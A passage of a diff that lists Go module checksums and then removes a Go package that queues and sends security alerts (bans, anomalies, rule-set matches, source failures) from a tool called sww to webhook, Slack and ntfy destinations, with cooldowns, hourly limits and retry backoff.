golang.org/x/net v0.58.0 h1:ynWG7rqYi4ccpTEuPZ2QGWHktVEM9DMCj9yzDE0Q7To=
|
||||
golang.org/x/net v0.58.0/go.mod h1:YwCddHnFlT7eLQqVprV19OnhLGtc5xOKgE0RyqgfWAU=
|
||||
golang.org/x/sync v0.23.0 h1:KameEIfc1IkluZyXWLn39Wd4tURc6GbCiISGiZm2bQk=
|
||||
golang.org/x/sync v0.23.0/go.mod h1:sUUOizhqBxiL6pEWpqNLUiaJn1ShEbZ6BBqskPbjZm0=
|
||||
golang.org/x/sys v0.48.0 h1:bbX/i/6MgT9BVLM9RT1thmxL04yeTAhbEz4SyadbXoo=
|
||||
golang.org/x/sys v0.48.0/go.mod h1:hNLxWAXmnKAxqDtdwIYC4bM9oQPEecfsnNMuSxOs3og=
|
||||
golang.org/x/text v0.41.0 h1:vz/seA0lnX87Othu2f/0L24RcgrXD9/YFTSuGjj3rH8=
|
||||
golang.org/x/text v0.41.0/go.mod h1:jvf1O8ajNzZqhSrQBPbutR/EB83Cc0CFrezNQIwbb5M=
|
||||
golang.org/x/tools v0.50.0 h1:c2ifzfcuY7L90lZ2aKd8S4K2NpASF08SZx9ZuJkHmSU=
|
||||
golang.org/x/tools v0.50.0/go.mod h1:7ulVMw3831Mwi5EZD6RomGyffr4VFjuNYXf2BbCEAV0=
|
||||
google.golang.org/protobuf v1.36.11 h1:fV6ZwhNocDyBLK0dj+fg8ektcVegBBuEolpbTQyBNVE=
|
||||
google.golang.org/protobuf v1.36.11/go.mod h1:HTf+CrKn2C3g5S8VImy6tdcUvCska2kB7j23XfzDpco=
|
||||
gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=
|
||||
gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
|
||||
rsc.io/binaryregexp v0.2.0 h1:HfqmD5MEmC0zvwBuF187nq9mdnXjXsSivRiXN7SmRkE=
|
||||
rsc.io/binaryregexp v0.2.0/go.mod h1:qTv7/COck+e2FymRvadv62gMdZztPaShugOCi3I+8D8=
|
||||
@@ -1,941 +0,0 @@
|
||||
// Package alerts sends alerts on bans, on traffic over an anomaly
|
||||
// threshold, on a source that fails and on a file with an error to each
|
||||
// destination set: to the webhook
|
||||
// SWW_ALERT_WEBHOOK_URL names, each as one JSON object, as "The JSON
|
||||
// object" in docs/alerts.md describes, to the Slack incoming
|
||||
// webhook SWW_ALERT_SLACK_WEBHOOK_URL names, as a message, and to the
|
||||
// ntfy topic SWW_ALERT_NTFY_URL names. A repeat within
|
||||
// SWW_ALERT_COOLDOWN is held back, and so is an alert past
|
||||
// SWW_ALERT_MAX_PER_HOUR, for the hour's summary. The others wait in a
|
||||
// bounded queue of each destination's own, so that a destination that is
|
||||
// slow or unreachable holds up neither the others nor any request. The
|
||||
// state is written to alerts.json and read from it by the state package.
|
||||
// Nothing logged names a destination's URL, whose path or query can carry
|
||||
// a secret.
|
||||
package alerts
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"cmp"
|
||||
"context"
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"fmt"
|
||||
"io"
|
||||
"log/slog"
|
||||
"maps"
|
||||
"net/http"
|
||||
"net/netip"
|
||||
"net/url"
|
||||
"slices"
|
||||
"strings"
|
||||
"sync"
|
||||
"sync/atomic"
|
||||
"time"
|
||||
)
|
||||
|
||||
// The events an alert is for, as SWW_ALERT_EVENTS names them.
|
||||
const (
|
||||
// EventBan is a ban sww made.
|
||||
EventBan = "ban"
|
||||
// EventPermanentBan is a permanent ban sww made, or a ban it
|
||||
// made permanent.
|
||||
EventPermanentBan = "permanent_ban"
|
||||
// EventAnomaly is a count of requests or bytes over an anomaly
|
||||
// threshold.
|
||||
EventAnomaly = "anomaly"
|
||||
// EventCoreRuleSetMatch is a request the Core Rule Set scored at or over
|
||||
// SWW_WAF_ANOMALY_THRESHOLD, refused in block mode, let through in
|
||||
// detect mode.
|
||||
EventCoreRuleSetMatch = "core_rule_set_match"
|
||||
// EventReputationHit is a request whose client a blocklist, the
|
||||
// CrowdSec decision list or a DNSBL zone lists, or whose AbuseIPDB score
|
||||
// is a hit.
|
||||
EventReputationHit = "reputation_hit"
|
||||
// EventSourceFailure is GeoJS failing or refusing sww, a fetch
|
||||
// of a list failing, a query to a DNSBL zone or a check with AbuseIPDB
|
||||
// failing or refused, or the day's AbuseIPDB checks used up.
|
||||
EventSourceFailure = "source_failure"
|
||||
// EventFileError is a rule file or state file edited while sww
|
||||
// runs that does not parse, a replacement of the lookup database that
|
||||
// cannot be read, or a state file that cannot be written.
|
||||
EventFileError = "file_error"
|
||||
// EventSummary is the summary sent as an hour ends: of the alerts held
|
||||
// back in it past SWW_ALERT_MAX_PER_HOUR, and of the repeats held
|
||||
// back by the cooldowns dropped as it ends, which no alert let through
|
||||
// has given. It is sent with SWW_ALERT_MAX_PER_HOUR off too, for
|
||||
// those repeats. SWW_ALERT_EVENTS does not name it.
|
||||
EventSummary = "summary"
|
||||
)
|
||||
|
||||
// Events returns every event SWW_ALERT_EVENTS can name, which is its
|
||||
// default.
|
||||
func Events() []string {
|
||||
return []string{
|
||||
EventBan, EventPermanentBan, EventCoreRuleSetMatch, EventAnomaly,
|
||||
EventReputationHit, EventSourceFailure, EventFileError,
|
||||
}
|
||||
}
|
||||
|
||||
// The destinations alerts are sent to, as the metrics and alerts.json
|
||||
// name them.
|
||||
const (
|
||||
// DestinationWebhook is the webhook SWW_ALERT_WEBHOOK_URL names.
|
||||
DestinationWebhook = "webhook"
|
||||
// DestinationSlack is the Slack incoming webhook
|
||||
// SWW_ALERT_SLACK_WEBHOOK_URL names.
|
||||
DestinationSlack = "slack"
|
||||
// DestinationNtfy is the ntfy topic SWW_ALERT_NTFY_URL names.
|
||||
DestinationNtfy = "ntfy"
|
||||
)
|
||||
|
||||
// Destinations returns every destination alerts can be sent to.
|
||||
func Destinations() []string {
|
||||
return []string{DestinationWebhook, DestinationSlack, DestinationNtfy}
|
||||
}
|
||||
|
||||
const (
|
||||
// queueSize is the most alerts that wait to be sent to a destination.
|
||||
// Past it, the oldest is dropped.
|
||||
queueSize = 1000
|
||||
// sendTimeout bounds one request to a destination.
|
||||
sendTimeout = 10 * time.Second
|
||||
// After a request to a destination fails, the alert is sent again a
|
||||
// second later, and retryDelayFactor times as long after each further
|
||||
// failure in a row, up to a minute.
|
||||
firstRetryDelay = time.Second
|
||||
retryDelayFactor = 2
|
||||
maxRetryDelay = time.Minute
|
||||
// maxAnswerBytes is the most of a destination's answer that is read.
|
||||
maxAnswerBytes = 64 << 10
|
||||
)
|
||||
|
||||
var (
|
||||
errStatus = errors.New("the destination answered")
|
||||
// errRefused is a 4xx answer other than 408 and 429: the destination
|
||||
// refuses the alert itself, and would refuse it again.
|
||||
errRefused = errors.New("the destination refused the alert, answering")
|
||||
)
|
||||
|
||||
// Params are what New needs. With none of WebhookURL, SlackURL and
|
||||
// NtfyURL set, no alert is sent.
|
||||
type Params struct {
|
||||
// WebhookURL is where each alert is posted as JSON
|
||||
// (SWW_ALERT_WEBHOOK_URL), nil while it is unset. WebhookHeaders
|
||||
// are sent with each (SWW_ALERT_WEBHOOK_HEADERS).
|
||||
WebhookURL *url.URL
|
||||
WebhookHeaders http.Header
|
||||
// SlackURL is the Slack incoming webhook each alert is posted to as a
|
||||
// message (SWW_ALERT_SLACK_WEBHOOK_URL), nil while it is unset.
|
||||
SlackURL *url.URL
|
||||
// NtfyURL is the ntfy topic each alert is published to
|
||||
// (SWW_ALERT_NTFY_URL), nil while it is unset. NtfyToken, unless
|
||||
// empty, is sent with each as a bearer token (SWW_ALERT_NTFY_TOKEN).
|
||||
NtfyURL *url.URL
|
||||
NtfyToken string
|
||||
// Events are the events alerts are sent for (SWW_ALERT_EVENTS).
|
||||
Events []string
|
||||
// Cooldown is how long a repeat of an alert is held back
|
||||
// (SWW_ALERT_COOLDOWN), 0 for no time. MaxPerHour is the most alerts
|
||||
// sent in an hour (SWW_ALERT_MAX_PER_HOUR), 0 for no limit.
|
||||
Cooldown time.Duration
|
||||
MaxPerHour int
|
||||
// Instance is SWW_INSTANCE_NAME, which every alert gives.
|
||||
Instance string
|
||||
// Now tells the time of an alert, normally time.Now in UTC.
|
||||
Now func() time.Time
|
||||
// ProcessLog receives the requests to a destination that fail.
|
||||
ProcessLog *slog.Logger
|
||||
}
|
||||
|
||||
// Alert is one alert, as the webhook is sent it and alerts.json holds it,
|
||||
// with the fields of "The JSON object" in docs/alerts.md. ASN, ASName and
|
||||
// Country are, for a ban, the client's as the ban's notes give them. Host is
|
||||
// the site of the request that raised the alert, while one discriminator serves
|
||||
// many sites, and "" otherwise.
|
||||
//
|
||||
//nolint:tagliatelle // docs/alerts.md names the alert's fields in snake_case
|
||||
type Alert struct {
|
||||
Instance string `json:"instance"`
|
||||
Time time.Time `json:"time"`
|
||||
Event string `json:"event"`
|
||||
Host string `json:"host,omitempty"`
|
||||
Client netip.Addr `json:"client"`
|
||||
Netblock netip.Prefix `json:"netblock"`
|
||||
ASN string `json:"asn"`
|
||||
ASName string `json:"as_name"`
|
||||
Country string `json:"country"`
|
||||
// Reason is a short sentence, and Detail what is particular to the
|
||||
// event: for a file_error, its "file", for a source_failure, its
|
||||
// "source", and for an anomaly, its "scope", with the "asn" or the
|
||||
// "name" of some scopes, which the cooldown tells repeats by.
|
||||
Reason string `json:"reason"`
|
||||
Detail map[string]any `json:"detail"`
|
||||
// SuppressedRepeats is how many repeats of the alert the cooldown
|
||||
// held back since the last one let through. For a summary, it is how
|
||||
// many the cooldowns dropped as the hour ended had held back that no
|
||||
// alert let through gave.
|
||||
SuppressedRepeats int `json:"suppressed_repeats"`
|
||||
}
|
||||
|
||||
// Cooldown is, for an event on a netblock, about a file or a source, or
|
||||
// for an anomaly in a scope, when the last alert let through was raised,
|
||||
// and how many repeats the cooldown has held back since, as alerts.json
|
||||
// holds it.
|
||||
//
|
||||
//nolint:tagliatelle // the state files use snake_case, as the request log does
|
||||
type Cooldown struct {
|
||||
Event string `json:"event"`
|
||||
Netblock netip.Prefix `json:"netblock"`
|
||||
File string `json:"file,omitempty"`
|
||||
Source string `json:"source,omitempty"`
|
||||
Scope string `json:"scope,omitempty"`
|
||||
ASN string `json:"asn,omitempty"`
|
||||
Name string `json:"name,omitempty"`
|
||||
Sent time.Time `json:"sent"`
|
||||
SuppressedRepeats int `json:"suppressed_repeats"`
|
||||
}
|
||||
|
||||
// Hour is the hour under way, by the clock, as alerts.json holds it: when
|
||||
// it started, how many alerts were let through in it, and how many were
|
||||
// held back in it past MaxPerHour, by event, for its summary.
|
||||
//
|
||||
//nolint:tagliatelle // the state files use snake_case, as the request log does
|
||||
type Hour struct {
|
||||
Start time.Time `json:"start"`
|
||||
Sent int `json:"sent"`
|
||||
HeldBack map[string]int `json:"held_back"`
|
||||
}
|
||||
|
||||
// State is what alerts.json holds: the cooldowns, the hour under way, and
|
||||
// for each destination set, the alerts waiting to be sent to it, oldest
|
||||
// first.
|
||||
type State struct {
|
||||
Cooldowns []Cooldown `json:"cooldowns"`
|
||||
Hour Hour `json:"hour"`
|
||||
Waiting map[string][]Alert `json:"waiting"`
|
||||
}
|
||||
|
||||
// Counts are, for a destination, how many alerts it took, how many
|
||||
// requests to it failed, and how many alerts were dropped from its full
|
||||
// queue or given up as it refused them.
|
||||
type Counts struct {
|
||||
Sent, SendFailures, Dropped int64
|
||||
}
|
||||
|
||||
// Queue takes the alerts raised, holds back those it must, and sends the
|
||||
// others to each destination set, from a queue of the destination's own.
|
||||
// It is safe for concurrent use.
|
||||
type Queue struct {
|
||||
params Params
|
||||
// destinations are the destinations set, in the order of
|
||||
// Destinations.
|
||||
destinations []*destination
|
||||
|
||||
mu sync.Mutex
|
||||
// cooldowns are the alerts last let through, by event and netblock,
|
||||
// file, source or scope.
|
||||
cooldowns map[cooldownKey]*Cooldown
|
||||
hour Hour
|
||||
|
||||
suppressed atomic.Int64
|
||||
}
|
||||
|
||||
// destination is a destination set, with the alerts waiting to be sent
|
||||
// to it. Its mu is taken after the Queue's, never before.
|
||||
type destination struct {
|
||||
// name is how the metrics and alerts.json name the destination, and
|
||||
// setting the setting that is its URL, which the log names in place
|
||||
// of the URL.
|
||||
name string
|
||||
setting string
|
||||
url *url.URL
|
||||
// message returns the body an alert is posted with, and the headers
|
||||
// sent with it.
|
||||
message func(alert *Alert) ([]byte, http.Header, error)
|
||||
// httpClient follows no redirect: a redirect is a failure.
|
||||
httpClient *http.Client
|
||||
processLog *slog.Logger
|
||||
// queued receives a value when an alert joins the queue, unless one
|
||||
// waits already, so that run looks at the queue again.
|
||||
queued chan struct{}
|
||||
|
||||
mu sync.Mutex
|
||||
// waiting are the alerts waiting to be sent, oldest first.
|
||||
waiting []*Alert
|
||||
|
||||
sent, sendFailures, dropped atomic.Int64
|
||||
}
|
||||
|
||||
// cooldownKey is what makes an alert a repeat of another: the same event
|
||||
// on the same netblock, and about the same file or source, or in the same
|
||||
// scope with the same AS number or name, as its detail names them. Each
|
||||
// is empty for an alert without one.
|
||||
type cooldownKey struct {
|
||||
event string
|
||||
netblock netip.Prefix
|
||||
file string
|
||||
source string
|
||||
scope string
|
||||
asn string
|
||||
name string
|
||||
}
|
||||
|
||||
// cooldownKeyOf returns what makes another alert a repeat of alert.
|
||||
func cooldownKeyOf(alert *Alert) cooldownKey {
|
||||
file, _ := alert.Detail["file"].(string)
|
||||
source, _ := alert.Detail["source"].(string)
|
||||
scope, _ := alert.Detail["scope"].(string)
|
||||
asn, _ := alert.Detail["asn"].(string)
|
||||
name, _ := alert.Detail["name"].(string)
|
||||
|
||||
return cooldownKey{alert.Event, alert.Netblock, file, source, scope, asn, name}
|
||||
}
|
||||
|
||||
// New returns a Queue with no alert yet.
|
||||
func New(params Params) *Queue {
|
||||
q := &Queue{
|
||||
params: params,
|
||||
cooldowns: map[cooldownKey]*Cooldown{},
|
||||
hour: Hour{HeldBack: map[string]int{}},
|
||||
}
|
||||
|
||||
if params.WebhookURL != nil {
|
||||
q.addDestination(DestinationWebhook, "SWW_ALERT_WEBHOOK_URL",
|
||||
params.WebhookURL, q.webhookMessage)
|
||||
}
|
||||
|
||||
if params.SlackURL != nil {
|
||||
q.addDestination(DestinationSlack, "SWW_ALERT_SLACK_WEBHOOK_URL",
|
||||
params.SlackURL, slackMessage)
|
||||
}
|
||||
|
||||
if params.NtfyURL != nil {
|
||||
q.addDestination(DestinationNtfy, "SWW_ALERT_NTFY_URL",
|
||||
params.NtfyURL, q.ntfyMessage)
|
||||
}
|
||||
|
||||
return q
|
||||
}
|
||||
|
||||
// Raise sends alert, which names its event and what is particular to it,
|
||||
// unless no destination is set or SWW_ALERT_EVENTS leaves its event
|
||||
// out. It gives alert the instance and the time. An alert that repeats
|
||||
// the last one let through less than Cooldown before is held back and
|
||||
// counted. The next one let through gives that count, unless an hour of
|
||||
// the clock ends first after the cooldown has run out: the cooldown is
|
||||
// then dropped, and that hour's summary gives the count. Past MaxPerHour
|
||||
// alerts let through in the hour under way, an alert is held back for
|
||||
// that hour's summary instead, which is sent once the hour has ended; it
|
||||
// starts no cooldown. Raise never waits: an alert let through joins the
|
||||
// queue of each destination, from which Run sends it, and with queueSize
|
||||
// alerts waiting for a destination, the oldest is dropped.
|
||||
func (q *Queue) Raise(alert Alert) {
|
||||
if len(q.destinations) == 0 || !slices.Contains(q.params.Events, alert.Event) {
|
||||
return
|
||||
}
|
||||
|
||||
q.mu.Lock()
|
||||
defer q.mu.Unlock()
|
||||
|
||||
now := q.params.Now()
|
||||
alert.Instance = q.params.Instance
|
||||
alert.Time = now
|
||||
|
||||
if q.repeat(&alert, now) {
|
||||
q.suppressed.Add(1)
|
||||
|
||||
return
|
||||
}
|
||||
|
||||
q.endHour(now)
|
||||
|
||||
if q.params.MaxPerHour > 0 && q.hour.Sent >= q.params.MaxPerHour {
|
||||
q.hour.HeldBack[alert.Event]++
|
||||
q.suppressed.Add(1)
|
||||
|
||||
return
|
||||
}
|
||||
|
||||
q.startCooldown(&alert, now)
|
||||
q.hour.Sent++
|
||||
q.queue(&alert)
|
||||
}
|
||||
|
||||
// WouldSend reports whether Raise would let an alert for event on
|
||||
// netblock through now: a destination is set, SWW_ALERT_EVENTS chooses
|
||||
// event, no alert for event on netblock was let through less than
|
||||
// Cooldown before, and fewer than MaxPerHour alerts have been let through
|
||||
// in the hour under way. Unlike Raise, it counts nothing.
|
||||
func (q *Queue) WouldSend(event string, netblock netip.Prefix) bool {
|
||||
if len(q.destinations) == 0 || !slices.Contains(q.params.Events, event) {
|
||||
return false
|
||||
}
|
||||
|
||||
q.mu.Lock()
|
||||
defer q.mu.Unlock()
|
||||
|
||||
now := q.params.Now()
|
||||
|
||||
last, found := q.cooldowns[cooldownKey{event: event, netblock: netblock}]
|
||||
if q.params.Cooldown > 0 && found && now.Sub(last.Sent) < q.params.Cooldown {
|
||||
return false
|
||||
}
|
||||
|
||||
q.endHour(now)
|
||||
|
||||
return q.params.MaxPerHour == 0 || q.hour.Sent < q.params.MaxPerHour
|
||||
}
|
||||
|
||||
// Run sends the alerts waiting to each destination, from its own queue,
|
||||
// as destination.run does, until ctx is done. It also ends each hour as
|
||||
// Raise does, so that the hour's summary is sent as it ends. With no
|
||||
// destination set, it returns at once.
|
||||
func (q *Queue) Run(ctx context.Context) {
|
||||
if len(q.destinations) == 0 {
|
||||
return
|
||||
}
|
||||
|
||||
var sending sync.WaitGroup
|
||||
|
||||
for _, d := range q.destinations {
|
||||
sending.Go(func() { d.run(ctx) })
|
||||
}
|
||||
|
||||
for {
|
||||
q.mu.Lock()
|
||||
untilHourEnds := q.hour.Start.Add(time.Hour).Sub(q.params.Now())
|
||||
q.mu.Unlock()
|
||||
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
sending.Wait()
|
||||
|
||||
return
|
||||
case <-time.After(untilHourEnds):
|
||||
q.mu.Lock()
|
||||
q.endHour(q.params.Now())
|
||||
q.mu.Unlock()
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Counts returns the counts of the destination name, all 0 for one not
|
||||
// set.
|
||||
func (q *Queue) Counts(name string) Counts {
|
||||
for _, d := range q.destinations {
|
||||
if d.name == name {
|
||||
return Counts{
|
||||
Sent: d.sent.Load(),
|
||||
SendFailures: d.sendFailures.Load(),
|
||||
Dropped: d.dropped.Load(),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return Counts{}
|
||||
}
|
||||
|
||||
// DestinationsSet returns the destinations set, in the order of
|
||||
// Destinations.
|
||||
func (q *Queue) DestinationsSet() []string {
|
||||
names := make([]string, 0, len(q.destinations))
|
||||
for _, d := range q.destinations {
|
||||
names = append(names, d.name)
|
||||
}
|
||||
|
||||
return names
|
||||
}
|
||||
|
||||
// Suppressed is how many alerts were held back: by the cooldown, and past
|
||||
// MaxPerHour. No destination is sent such an alert.
|
||||
func (q *Queue) Suppressed() int64 {
|
||||
return q.suppressed.Load()
|
||||
}
|
||||
|
||||
// Snapshot returns the queue's state, as alerts.json holds it, with the
|
||||
// cooldowns sorted by netblock, then by event, file, source, scope, AS
|
||||
// number and name.
|
||||
func (q *Queue) Snapshot() State {
|
||||
q.mu.Lock()
|
||||
defer q.mu.Unlock()
|
||||
|
||||
state := State{
|
||||
Cooldowns: make([]Cooldown, 0, len(q.cooldowns)),
|
||||
Hour: q.hour,
|
||||
Waiting: map[string][]Alert{},
|
||||
}
|
||||
state.Hour.HeldBack = maps.Clone(q.hour.HeldBack)
|
||||
|
||||
for _, cooldown := range q.cooldowns {
|
||||
state.Cooldowns = append(state.Cooldowns, *cooldown)
|
||||
}
|
||||
|
||||
slices.SortFunc(state.Cooldowns, func(a, b Cooldown) int {
|
||||
return cmp.Or(a.Netblock.Compare(b.Netblock), cmp.Compare(a.Event, b.Event),
|
||||
cmp.Compare(a.File, b.File), cmp.Compare(a.Source, b.Source),
|
||||
cmp.Compare(a.Scope, b.Scope), cmp.Compare(a.ASN, b.ASN),
|
||||
cmp.Compare(a.Name, b.Name))
|
||||
})
|
||||
|
||||
for _, d := range q.destinations {
|
||||
state.Waiting[d.name] = d.snapshot()
|
||||
}
|
||||
|
||||
return state
|
||||
}
|
||||
|
||||
// Load puts state, read from alerts.json, in place of the queue's state.
|
||||
// Each cooldown's netblock is masked to its length, so that
|
||||
// 203.0.113.9/24 is 203.0.113.0/24. The alerts waiting for a destination
|
||||
// that is not set are dropped, and so are the oldest past queueSize
|
||||
// alerts waiting for one that is.
|
||||
func (q *Queue) Load(state State) {
|
||||
q.mu.Lock()
|
||||
defer q.mu.Unlock()
|
||||
|
||||
q.cooldowns = map[cooldownKey]*Cooldown{}
|
||||
|
||||
for _, cooldown := range state.Cooldowns {
|
||||
cooldown.Netblock = cooldown.Netblock.Masked()
|
||||
key := cooldownKey{
|
||||
cooldown.Event, cooldown.Netblock, cooldown.File, cooldown.Source,
|
||||
cooldown.Scope, cooldown.ASN, cooldown.Name,
|
||||
}
|
||||
q.cooldowns[key] = &cooldown
|
||||
}
|
||||
|
||||
q.hour = state.Hour
|
||||
q.hour.HeldBack = maps.Clone(state.Hour.HeldBack)
|
||||
|
||||
if q.hour.HeldBack == nil {
|
||||
q.hour.HeldBack = map[string]int{}
|
||||
}
|
||||
|
||||
for _, d := range q.destinations {
|
||||
d.load(state.Waiting[d.name])
|
||||
}
|
||||
}
|
||||
|
||||
// addDestination adds a destination: its name, the setting that gives
|
||||
// its URL, that URL, target, and message, which makes the messages sent
|
||||
// to it.
|
||||
func (q *Queue) addDestination(
|
||||
name, setting string, target *url.URL,
|
||||
message func(alert *Alert) ([]byte, http.Header, error),
|
||||
) {
|
||||
q.destinations = append(q.destinations, &destination{
|
||||
name: name,
|
||||
setting: setting,
|
||||
url: target,
|
||||
message: message,
|
||||
httpClient: &http.Client{
|
||||
CheckRedirect: func(*http.Request, []*http.Request) error {
|
||||
return http.ErrUseLastResponse
|
||||
},
|
||||
},
|
||||
processLog: q.params.ProcessLog,
|
||||
queued: make(chan struct{}, 1),
|
||||
})
|
||||
}
|
||||
|
||||
// repeat reports whether alert, raised at now, repeats the last one let
|
||||
// through less than Cooldown before, and counts it if it does.
|
||||
func (q *Queue) repeat(alert *Alert, now time.Time) bool {
|
||||
if q.params.Cooldown == 0 {
|
||||
return false
|
||||
}
|
||||
|
||||
last, found := q.cooldowns[cooldownKeyOf(alert)]
|
||||
if !found || now.Sub(last.Sent) >= q.params.Cooldown {
|
||||
return false
|
||||
}
|
||||
|
||||
last.SuppressedRepeats++
|
||||
|
||||
return true
|
||||
}
|
||||
|
||||
// startCooldown gives alert, let through at now, the count of the repeats
|
||||
// held back since the last one let through, and notes alert as the last
|
||||
// one let through.
|
||||
func (q *Queue) startCooldown(alert *Alert, now time.Time) {
|
||||
if q.params.Cooldown == 0 {
|
||||
return
|
||||
}
|
||||
|
||||
key := cooldownKeyOf(alert)
|
||||
|
||||
last, found := q.cooldowns[key]
|
||||
if found {
|
||||
alert.SuppressedRepeats = last.SuppressedRepeats
|
||||
}
|
||||
|
||||
q.cooldowns[key] = &Cooldown{
|
||||
Event: alert.Event, Netblock: alert.Netblock, File: key.file, Source: key.source,
|
||||
Scope: key.scope, ASN: key.asn, Name: key.name, Sent: now,
|
||||
}
|
||||
}
|
||||
|
||||
// endHour ends the hour under way, if now is past it. It drops the
|
||||
// cooldowns that have run out, whatever repeats they held back, so that
|
||||
// they do not pile up, and queues that hour's summary when alerts were
|
||||
// held back in it past MaxPerHour, or when a cooldown dropped had held
|
||||
// back repeats, which no alert let through has given: the summary gives
|
||||
// them.
|
||||
func (q *Queue) endHour(now time.Time) {
|
||||
start := now.Truncate(time.Hour)
|
||||
if !start.After(q.hour.Start) {
|
||||
return
|
||||
}
|
||||
|
||||
repeats := 0
|
||||
|
||||
for key, cooldown := range q.cooldowns {
|
||||
if now.Sub(cooldown.Sent) >= q.params.Cooldown {
|
||||
repeats += cooldown.SuppressedRepeats
|
||||
|
||||
delete(q.cooldowns, key)
|
||||
}
|
||||
}
|
||||
|
||||
heldBack := 0
|
||||
for _, count := range q.hour.HeldBack {
|
||||
heldBack += count
|
||||
}
|
||||
|
||||
var reasons []string
|
||||
|
||||
if heldBack > 0 {
|
||||
reasons = append(reasons, fmt.Sprintf("%d alerts held back in the hour from %s, "+
|
||||
"past the %d an hour SWW_ALERT_MAX_PER_HOUR allows", heldBack,
|
||||
q.hour.Start.Format(time.RFC3339), q.params.MaxPerHour))
|
||||
}
|
||||
|
||||
if repeats > 0 {
|
||||
reasons = append(reasons, fmt.Sprintf("%d repeats held back by "+
|
||||
"SWW_ALERT_COOLDOWN that no later alert gives", repeats))
|
||||
}
|
||||
|
||||
if len(reasons) > 0 {
|
||||
q.queue(&Alert{
|
||||
Instance: q.params.Instance,
|
||||
Time: now,
|
||||
Event: EventSummary,
|
||||
Reason: strings.Join(reasons, "; "),
|
||||
Detail: map[string]any{
|
||||
"hour": q.hour.Start, "count": heldBack, "events": q.hour.HeldBack,
|
||||
},
|
||||
SuppressedRepeats: repeats,
|
||||
})
|
||||
}
|
||||
|
||||
q.hour = Hour{Start: start, HeldBack: map[string]int{}}
|
||||
}
|
||||
|
||||
// queue adds alert to the alerts waiting for each destination.
|
||||
func (q *Queue) queue(alert *Alert) {
|
||||
for _, d := range q.destinations {
|
||||
d.add(alert)
|
||||
}
|
||||
}
|
||||
|
||||
// run sends the alerts waiting, oldest first, until ctx is done. An alert
|
||||
// stays in the queue until the destination answers it with a 2xx status,
|
||||
// or refuses it with a 4xx status other than 408 and 429: a refused alert
|
||||
// is logged, counted as dropped, and given up, so that the next is sent.
|
||||
// Any other request that fails is logged, and the alert sent again
|
||||
// firstRetryDelay later, retryDelayFactor times as long after each
|
||||
// further failure in a row, up to maxRetryDelay.
|
||||
func (d *destination) run(ctx context.Context) {
|
||||
var (
|
||||
retryDelay time.Duration
|
||||
retryAt time.Time
|
||||
)
|
||||
|
||||
for {
|
||||
alert := d.oldest()
|
||||
|
||||
var due <-chan time.Time // nil while no alert waits
|
||||
if alert != nil {
|
||||
due = time.After(time.Until(retryAt))
|
||||
}
|
||||
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
return
|
||||
case <-d.queued:
|
||||
case <-due:
|
||||
err := d.send(ctx, alert)
|
||||
|
||||
switch {
|
||||
case err == nil:
|
||||
d.remove(alert)
|
||||
d.sent.Add(1)
|
||||
|
||||
retryDelay = 0
|
||||
retryAt = time.Time{}
|
||||
case errors.Is(err, errRefused):
|
||||
d.remove(alert)
|
||||
d.sendFailures.Add(1)
|
||||
d.dropped.Add(1)
|
||||
|
||||
retryDelay = 0
|
||||
retryAt = time.Time{}
|
||||
|
||||
d.processLog.Warn("gave up an alert "+d.setting+" refused",
|
||||
"event", alert.Event, "error", err.Error())
|
||||
case ctx.Err() == nil: // not cut off as sww stops
|
||||
d.sendFailures.Add(1)
|
||||
|
||||
retryDelay = min(max(retryDelayFactor*retryDelay, firstRetryDelay),
|
||||
maxRetryDelay)
|
||||
retryAt = time.Now().Add(retryDelay)
|
||||
|
||||
d.processLog.Warn("sending an alert to "+d.setting+" failed",
|
||||
"error", err.Error(), "sending_again_in", retryDelay.String())
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// add adds alert to the alerts waiting, first dropping the oldest while
|
||||
// queueSize wait, and has run look at the queue again.
|
||||
func (d *destination) add(alert *Alert) {
|
||||
d.mu.Lock()
|
||||
defer d.mu.Unlock()
|
||||
|
||||
if len(d.waiting) == queueSize {
|
||||
d.waiting = slices.Delete(d.waiting, 0, 1)
|
||||
d.dropped.Add(1)
|
||||
}
|
||||
|
||||
d.waiting = append(d.waiting, alert)
|
||||
|
||||
select {
|
||||
case d.queued <- struct{}{}:
|
||||
default: // a value waits already
|
||||
}
|
||||
}
|
||||
|
||||
// load puts waiting, read from alerts.json, in place of the alerts
|
||||
// waiting, as add adds them.
|
||||
func (d *destination) load(waiting []Alert) {
|
||||
d.mu.Lock()
|
||||
d.waiting = nil
|
||||
d.mu.Unlock()
|
||||
|
||||
for _, alert := range waiting {
|
||||
d.add(&alert)
|
||||
}
|
||||
}
|
||||
|
||||
// snapshot returns the alerts waiting, oldest first.
|
||||
func (d *destination) snapshot() []Alert {
|
||||
d.mu.Lock()
|
||||
defer d.mu.Unlock()
|
||||
|
||||
waiting := make([]Alert, 0, len(d.waiting))
|
||||
for _, alert := range d.waiting {
|
||||
waiting = append(waiting, *alert)
|
||||
}
|
||||
|
||||
return waiting
|
||||
}
|
||||
|
||||
// oldest returns the oldest alert waiting, nil when none waits.
|
||||
func (d *destination) oldest() *Alert {
|
||||
d.mu.Lock()
|
||||
defer d.mu.Unlock()
|
||||
|
||||
if len(d.waiting) == 0 {
|
||||
return nil
|
||||
}
|
||||
|
||||
return d.waiting[0]
|
||||
}
|
||||
|
||||
// remove takes alert, which run has sent or given up, out of the queue,
|
||||
// unless it has been dropped from it, or load has replaced the queue,
|
||||
// since run took it. Only the oldest alert is ever dropped, so alert is
|
||||
// the oldest if it is there at all.
|
||||
func (d *destination) remove(alert *Alert) {
|
||||
d.mu.Lock()
|
||||
defer d.mu.Unlock()
|
||||
|
||||
if len(d.waiting) > 0 && d.waiting[0] == alert {
|
||||
d.waiting = slices.Delete(d.waiting, 0, 1)
|
||||
}
|
||||
}
|
||||
|
||||
// send posts alert to the destination, as message makes it, and returns
|
||||
// an error unless the destination answers with a 2xx status: one that
|
||||
// wraps errRefused for a 4xx status other than 408 and 429. No error
|
||||
// names the destination's URL, whose path or query can carry a secret.
|
||||
